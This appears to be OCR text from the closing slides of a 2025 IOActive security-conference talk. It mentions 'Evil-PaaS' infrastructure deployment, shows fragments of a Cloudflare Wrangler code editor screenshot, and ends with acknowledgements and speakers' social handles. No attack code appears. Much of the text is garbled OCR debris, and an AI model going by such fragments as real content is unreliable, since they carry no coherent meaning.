
rAdninAcce
getur

clearlls:

fron

okens

}

from

W gateway-worker-modularjs X

B proxyjs M

wrangler.jsonc M

{} gateway-wrangler.jsol

# bash

[-] wrangler tai
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Infrastructure deployment (Evil-PaaS)

~-
) §

MALDEV
ACADEMY

IOACctive.



« OOTB & HITB organizations

 Dhillon -> @l33tdawg

 Daniel Martinez -> @dani1to

e MrdOx -> @Mrdox

IOActive.

THANK YOU | SAY

GRATEFUL | AM
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https://x.com/l33tdawg
https://www.linkedin.com/in/dan1t0/
https://x.com/mrd0x

A

Thank You

IOActive.

©2025 I0Active, Inc. All rights reserved.

60



